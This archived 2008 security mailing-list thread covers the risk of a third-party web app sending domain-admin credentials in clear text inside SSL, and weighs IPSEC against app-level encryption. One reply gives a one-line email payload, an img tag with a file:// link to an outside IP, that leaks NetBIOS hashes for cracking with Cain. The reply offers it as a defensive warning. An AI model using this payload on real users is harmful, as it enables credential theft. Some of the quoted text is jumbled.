RE: username and Password sent as clear text strings
- From: "John Babio" <jbabio@xxxxxxxxxxxxxx>
- Date: Thu, 22 May 2008 14:57:27 -0400
What if that server is set to only communicate with NTLMv2 response
only?
-----Original Message-----
From: listbounce@xxxxxxxxxxxxxxxxx [mailto:listbounce@xxxxxxxxxxxxxxxxx]
On Behalf Of Shenk, Jerry A
Sent: Wednesday, May 21, 2008 3:51 PM
To: jfvanmeter@xxxxxxxxxxx; christopher.riley@xxxxxxx
Cc: listbounce@xxxxxxxxxxxxxxxxx; pen-test@xxxxxxxxxxxxxxxxx
Subject: RE: username and Password sent as clear text strings
One of the big problems there is everything you just said....an
administrator logged in on a domain server hitting the web. You may
have some bigger issues...what happens if one of those admins happens to
get an e-mail message with a file link in it <img
src=file://123.123.123.123/share/file.gif></img>? that's going to
connect to the server at 123.123.123.123 and send NetBIOS authentication
information. If the server is listening and nothing is blocking the
traffic, then there will be a crackable lanman hash at that server. Let
CAIN chew on it for a couple hours and you'll have an alphanumeric
password....a couple days if symbols are thrown in. And no, this is NOT
a theoretical attack!...it works WAY too well!
-----Original Message-----
From: listbounce@xxxxxxxxxxxxxxxxx [mailto:listbounce@xxxxxxxxxxxxxxxxx]
On Behalf Of jfvanmeter@xxxxxxxxxxx
Sent: Tuesday, May 20, 2008 4:35 AM
To: christopher.riley@xxxxxxx;
pen-test-return-1078486497@xxxxxxxxxxxxxxxxx
Cc: listbounce@xxxxxxxxxxxxxxxxx; pen-test@xxxxxxxxxxxxxxxxx
Subject: Re: username and Password sent as clear text strings
Thank You Chris, the webapp is not coded by my cleint, its a third party
app, I'll double check I don't think there is a configuration setting to
require the transmitision of the username and password in a encrypted
format.
The problem I'm having with all of this is:
My cleint is currently running this WebApp on all of there WIn2k3 Domain
Controllers and Member Servers. Guess who is logging in.... Domain
Admins.........I just don't want to see a MITM attack or SSL Failure
allow a domain admin account to be compromised.
Since they all log into the same domain, i was going to use a
certificate.
I want to thank everyone that has shared there thoughts so far, I've
learned alot from this exchange of ideas.
Take Care and Have Fun --John
-------------- Original message ----------------------
From: christopher.riley@xxxxxxx
An IPSEC solution would put extra load on the server and clients forthe
encryption of the traffic. It would also possibly cause problems if
users are remote and not part of the domain, as you will need to use
either a certificate or a PSK (pre-shared key) for the IPSEC. A PSK is
obviously easier to implement, but weaker than the certificate option.
only
From my view a simpler option would be to recommend that the webapp
transmits username password in encrytped format across the wire evenwhen
SSL is used. Adding another layer of on the wire encryption is just athe
little overkill for something that might or might not be an issue. For
client, it would seem like too much hassle for a low possibility hack.If
the SSL is working then nothing on the wire should be visible in clear
text. If a Man in the Middle attack of SSL failure (see Debian forthe
details) occurs, then the important details of the traffic are still
encrypted using whatever scheme the client decides on.
Chris
listbounce@xxxxxxxxxxxxxxxxx@inet wrote on 17.05.2008 01:52:14:
What does everyone think of implementing a IPSEC solution to resolve
issueentire
that we've all be talking about. The following are the reason I wasthinking of IPSEC:
authentication
SSL was designed for client application-to-server application
and encryption. IPsec can be used end-to-end
I think the best scenario would be to implement both AH and ESP,
AH provides data origin authentication and data integrity for the
IP
packet (with the exception of some fields in the IP header that must
change intransit).data
ESP provides data confidentiality, data origin authentication, and
integrity for the IP payload. ESP with encryption uses an encryption
algorithmusing
(DES or 3DES) to provide data confidentiality, data originauthentication, and
data integrity for the ESP payload.
The reason to implement both AH and ESP is to protect the IP header
-------------- Original message ----------------------
From: "Arian J. Evans" <arian.evans@xxxxxxxxxxxxxx>
Let me summarize the previous responses and be very clear:
This is how web applications work. All of them.
There is no effectively way to "hash or encrypted" the password
via client-side scripting. There are ways to do it, but in a web
application all the code to do this is passed to the client from
the server, making it pointless.
It is similar to the problem in cryptography of passing the key
with the message, but worse. It's passing the key, algorithm,
comments, and message all together. In this type of environment
it's not possible to do this securely.
Hence the use of SSL for transport-layer security.
Now...that said, some folks use SWFs and Adobe Air and such
for trying to encrypt data in transit, especially if they are
engineer.AMF or some binary protocol, but again since everything has to
be passed to the client it is completely trivial to reverse
design.
So, again, to conclude:
This is how all web applications on the planet work today by
The
You can reply to this if you would like to ask more questions,
but unfortunately the SF pen-test list is one of the only ones
that blocks posts from gmail forwarders so I do not think
that you will see my post on the actual list.
--
--
Arian J. Evans, software security stuff.
I spend most of my money on motorcycles, mistresses, and martinis.
placerest of it I squander.
On Wed, May 14, 2008 at 3:39 AM, <jfvanmeter@xxxxxxxxxxx> wrote:
Hello everyone, and I know this might not be the most correct
to postSSL
think thethis questions, but I was hoping to get some feedback on what you
potential risk would be and how this this could be exploited.
I completed a security review of a web server, that creates a
connectionthat
between the cleint and the server. Using WebScarab, I could see
theto
username and password are sent as clear text strings. The log in
the serverwas
username andrequires a administrative account.
Do you think there is a large amount of risk, in sending the
password as a clear text string, since the pipe is encrypted? I
thinkingcould
that a man-in-the-middle or sometype of session hijacking attack
allowhoping
the account to be compromised.
I'm working on completing the report for my client and was
to get some------------------------------------------------------------------------
feedback from everyone so I could pose this to them correcly.
Thank you in advance --John
------------------------------------------------------------------------This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
DVR
----------------------------------------
Raiffeisen Informatik GmbH, Firmenbuchnr. 88239p, Handelsgericht Wien,
0486809, UID ATU 16351908E-Mail dient
Der Austausch von Nachrichten mit oben angefuehrtem Absender via
ausschliesslich Informationszwecken. Rechtsgeschaeftliche Erklaerungenduerfen
ueber dieses Medium nicht ausgetauscht werden.information
Correspondence with above mentioned sender via e-mail is only for
purposes. This medium may not be used for exchange of legally-binding------------------------------------------------------------------------
communications.
----------------------------------------
This list is sponsored by: Cenzic------------------------------------------------------------------------
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
**DISCLAIMER
This e-mail message and any files transmitted with it are intended for
the use of the individual or entity to which they are addressed and may
contain information that is privileged, proprietary and confidential. If
you are not the intended recipient, you may not use, copy or disclose to
anyone the message or any information contained in the message. If you
have received this communication in error, please notify the sender and
delete this e-mail message. The contents do not represent the opinion of
D&E except to the extent that it relates to their official business.
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
- References:
- Re: username and Password sent as clear text strings
- From: jfvanmeter
- RE: username and Password sent as clear text strings
- From: Shenk, Jerry A
- Re: username and Password sent as clear text strings
- Prev by Date: Re: Vuln Scanner for Web App Source Code
- Next by Date: Re: Wireless pen-test Cisco WPAv1 with PEAP and client side cert verification
- Previous by thread: RE: username and Password sent as clear text strings
- Next by thread: Re: username and Password sent as clear text strings
- Index(es):
Relevant Pages
|
|
